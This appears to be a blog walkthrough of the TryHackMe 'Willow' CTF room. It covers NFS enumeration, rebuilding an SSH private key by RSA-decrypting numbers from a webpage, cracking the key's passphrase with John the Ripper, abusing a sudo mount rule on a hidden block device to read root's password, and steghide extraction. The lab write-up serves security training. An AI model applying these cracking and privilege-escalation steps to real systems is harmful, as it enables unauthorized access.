Skip to main content

Command Palette

Search for a command to run...

Willow

Updated
•8 min read•View as Markdown

Lab Info

Detail Info
Room Willow
Platform TryHackMe
Difficulty Hard
Type CTF / NFS Enumeration + RSA Key Reconstruction + Sudo Mount PrivEsc + Steganography
Knowledge Required NFS, RSA (modular exponentiation), John the Ripper, Linux Sudo Rules, Steghide

Tools Used

  • Nmap / RustScan — Port scanning

  • showmount / mount -t nfs — NFS export enumeration and mounting

  • Gobuster / dirsearch — Directory enumeration on the web server

  • CyberChef (Hex → Text) — Decoding the homepage's hidden message

  • Python (pow(c, d, n)) or an online RSA calculator — Reconstructing the private key from raw RSA parameters

  • ssh2john + John the Ripper — Cracking the reconstructed key's passphrase

  • steghide — Extracting the actual root flag from an image file

First Impressions

MuirlandOracle's rooms have a reputation for this exact flavor of "nothing is what it looks like," and Willow delivers fully — there's no traditional user.txt, the root.txt you eventually read is a taunt rather than the flag, and the actual privilege escalation path is a single, oddly specific sudo rule that has no entry on GTFOBins at all. Genuinely one of the more creative rooms out there: the core skill being tested is reconstructing a working RSA private key from nothing but its raw mathematical parameters, by hand, before you can even attempt to log in.

Recon

nmap -A -T4 -p- <ip>
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
2049/tcp open  nfs

NFS running alongside a web server is the first thing worth noting — worth checking what's actually exported before anything else.

NFS — An Open Export With RSA Parameters Inside

showmount -e <ip>
Export list for <ip>:
/var/failsafe *

The * means anyone can mount it, no host restriction at all.

mkdir /mnt/willow
mount -t nfs <ip>:/var/failsafe /mnt/willow -o nolock
ls -la /mnt/willow

A single file, rsa_keys:

cat /mnt/willow/rsa_keys
Public Key Pair: (23, 37627)
Private Key Pair: (61527, 37627)

Recognizable immediately as RSA parameters — a public exponent/modulus pair (e, n) and a private exponent/modulus pair (d, n). Not a usable key file on its own yet — just the raw numbers a key would be built from.

The Website — A Wall of Numbers

Gobuster doesn't turn up much extra on port 80 — the homepage itself is the payload. Viewing it (or fetching it directly and converting from hex) reveals a message:

Hey Willow, here's your SSH Private key -- you know where the decryption key is!
2367 2367 2367 2367 2367 9709 8600 28638 18410 ...

Followed by hundreds of space-separated integers. Each number here isn't a coincidence — it's an individual RSA-"encrypted" byte, and the rsa_keys file from the NFS share is exactly what's needed to decrypt them back into plaintext.

Reconstructing the Private Key — RSA by Hand

Standard RSA decryption is just modular exponentiation: m = c^d mod n. Applying that to every number in the sequence, one at a time, using the recovered d and n:

d = 61527
n = 37627

with open("rsa.txt") as f:
    numbers = [int(x) for x in f.read().strip().split(" ")]

decoded = "".join(chr(pow(c, d, n)) for c in numbers)

with open("id_rsa", "w") as out:
    out.write(decoded)

The output isn't a decoded English sentence — it's the actual PEM-formatted RSA private key itself, headers and all (-----BEGIN RSA PRIVATE KEY----- and an AES-128-CBC-encrypted body), reconstructed byte by byte purely from its own mathematical parameters. A genuinely satisfying "aha" once it clicks: the numbers on the webpage were never a message to read, they were ciphertext for a file to rebuild.

Cracking the Key's Passphrase

chmod 600 id_rsa

Attempting to SSH with the freshly rebuilt key confirms it's passphrase-protected (the standard Proc-Type: 4,ENCRYPTED header gives it away even before trying). Converting and cracking it is routine from here:

ssh2john id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

Cracks quickly against rockyou.

Logging In — A Legacy Key Type Wrinkle

ssh -i id_rsa willow@<ip>

On a modern OpenSSH client, this can fail outright with something like no mutual signature supported or sign_and_send_pubkey errors — this key type predates current default-disabled legacy RSA signature algorithms. The fix is forcing them back on explicitly:

ssh -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa willow@<ip>

(Older OpenSSH clients may only need the older flag name, -o PubkeyAcceptedKeyTypes=ssh-rsa.) Enter the cracked passphrase when prompted — in as willow.

No user.txt — Just an Image

ls -la /home/willow

No flag file at all — instead, user.jpg sitting in the home directory. First sign that the room isn't going to hand anything over the normal way; this file gets revisited once there's an actual password to try against it with steganography.

scp -i id_rsa willow@<ip>:/home/willow/user.jpg .

PrivEsc — A Very Specific Sudo Rule

sudo -l
(ALL : ALL) NOPASSWD: /bin/mount /dev/*

An oddly narrow rule — willow can run mount, but only against something matching /dev/*. No direct GTFOBins entry covers this exact restriction, so the next move is just checking what's actually sitting in /dev:

ls -la /dev | grep "^b"
brw-rw---- 1 root disk 202, 5 hidden_backup
brw-rw---- 1 root disk 202, 0 xvda
brw-rw---- 1 root disk 202, 1 xvda1
...

hidden_backup stands out immediately next to the expected disk device names — a block device that clearly isn't part of the normal system layout. Since the sudo rule allows mounting any device node under /dev/, mounting this one specifically is the obvious next move:

mkdir /home/willow/bcp
sudo mount /dev/hidden_backup /home/willow/bcp
ls -l /home/willow/bcp
-rw-r--r-- 1 root root 42 creds.txt
cat /home/willow/bcp/creds.txt
root:<recovered_password>
willow:<recovered_password>

Root's actual password, sitting on a filesystem that was never mounted by default — accessible purely because the sudo rule allowed mounting arbitrary device nodes, with no restriction on where they get mounted or who can then read the result.

The Twist — root.txt Isn't the Flag

su root
cat /root/root.txt

The file exists, but its contents are a taunt rather than a flag — something to the effect of "this would be too easy... I actually gave you the root flag some time ago... you've got my password now, go find your flag." The room is telling you directly: the actual flag was handed over earlier, disguised as something else — which points straight back at user.jpg.

Extracting the Real Flag — Steghide With Root's Password

steghide extract -sf user.jpg
Enter passphrase:

Using root's just-recovered password as the steganography passphrase (not a login credential at all in this context) extracts the actual flag file cleanly from inside the image.

cat root.txt
THM{redacted}

Flag Summary

Flag Method
"User flag" No standalone file — recovered by mounting NFS for RSA parameters, reconstructing a PEM private key via modular exponentiation from a webpage's number sequence, cracking its passphrase with John, then SSHing in as willow
"Root flag" sudo mount abused against a hidden block device to recover root's password, then that same password used as a steghide passphrase to extract the real flag hidden inside user.jpg

(Actual flag string, RSA parameter values, and recovered passwords are per-deployment and are not reproduced verbatim here — the room's parameters are randomized per instance, confirmed by differing values across multiple independent writeups of this same room.)

Key Takeaways

  1. RSA parameters found separately from their ciphertext are meant to be combined, not read in isolation. The rsa_keys file and the webpage's number sequence look unrelated at first glance — recognizing that one is the key material and the other is ciphertext encrypted with that key is the entire puzzle.

  2. "Encrypted with RSA" doesn't only mean "a message got scrambled" — RSA can encrypt arbitrary binary data, including a private key file itself. The reconstructed plaintext here wasn't a sentence to read, it was PEM-formatted key material, byte for byte.

  3. A narrow, oddly specific sudo rule (/bin/mount /dev/*) not appearing in GTFOBins doesn't mean it's unexploitable — it means the exploit is specific to what's actually sitting on the system rather than a documented generic trick. Checking /dev for anything that doesn't belong is the natural next step whenever mount shows up in sudo -l.

  4. A "final" flag that reads as a taunt instead of a real flag is a deliberate signal, not a bug or a wrong turn. MuirlandOracle-style rooms use this pattern specifically to force re-examining something dismissed earlier (user.jpg) rather than continuing to dig for a conventional file that was never going to appear.

  5. The same recovered credential can serve two completely different purposes in the same room — root's password worked first as a login credential, then again as a steganography passphrase entirely unrelated to authentication. Worth testing a recovered secret against every locked artifact still outstanding, not just the login prompt it was "obviously" meant for.

Day 29 of 30 ✅ — See You Tomorrow

10 views